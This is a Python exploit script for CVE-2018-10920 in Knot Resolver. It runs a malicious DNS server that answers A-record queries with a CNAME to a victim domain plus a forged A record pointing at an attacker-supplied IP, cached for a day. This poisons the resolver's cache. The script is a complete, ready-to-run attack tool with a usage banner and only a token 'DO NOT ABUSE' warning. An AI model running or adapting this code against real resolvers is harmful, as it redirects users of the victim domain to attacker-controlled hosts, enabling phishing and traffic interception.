#!/usr/local/bin/python3.6
#CVE-2018-10920 exploit.
#DO NOT ABUSE !!!

import socket, sys

#pip install dnslib
from dnslib import RR, DNSHeader, DNSRecord, QTYPE, CNAME, NS, A


class KnotSpoofer():

    def __init__(self, ipaddr, vic_name, fakeip):
        self.host = ipaddr
        self.port = 53
        self.vic_name = vic_name
        self.fakeip = fakeip

    def run(self):
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.bind((self.host, self.port))

        print("[+] KnotSpoofer Started.")

        while True:
            msg, (cliHost, cliPort) = sock.recvfrom(8096)
            print("  [+] Received DNS Packet. Client:" + str(cliHost) + ":" + str(cliPort))
            responseData = self.craftPayload(msg)

            if responseData is not None:
                sock.sendto(responseData, (cliHost, cliPort))


    def craftPayload(self, msg):

        query = DNSRecord.parse(msg)
        response = query.reply()

        qname = query.q.qname
        vic_name = self.vic_name
        fakeip = self.fakeip

        if query.q.qtype == QTYPE.NS:
            print("[+] required NS record.")
            assert_ns = RR(qname, QTYPE.NS, ttl=60, rdata=NS("ns.%s" % qname))
            response.add_answer(assert_ns)

        elif query.q.qtype == QTYPE.A:
            print("[+] required any A record.")
            cnamerr = RR(qname, QTYPE.CNAME, ttl=60, rdata=CNAME(vic_name))
            fakea  = RR(vic_name, QTYPE.A, ttl=86400, rdata=A(fakeip))
            response.add_answer(cnamerr)
            response.add_answer(fakea)

        if response.__class__.__name__ == "DNSRecord":
            print("[!] Debug: print reply data")
            print("===============================")
            print(response)
            print("===============================")
            return response.pack()
        else:
            return None


if __name__ == '__main__':
    print("-----------------------------------------------")
    print("Knot Reslver Kashpureff Exploit(CVE-2018-10920)")
    print("-----------------------------------------------")

    if len(sys.argv) < 3:
        print("[+] Usage: %s [victim.com.] [Fake A Record IPAddr]" % sys.argv[0])
        print("[!] You can inject only the sibling domain which the queried domain.")
        sys.exit()

    vic_name = sys.argv[1]
    fakeip = sys.argv[2]

    srv = KnotSpoofer("0.0.0.0", vic_name, fakeip)
    srv.run()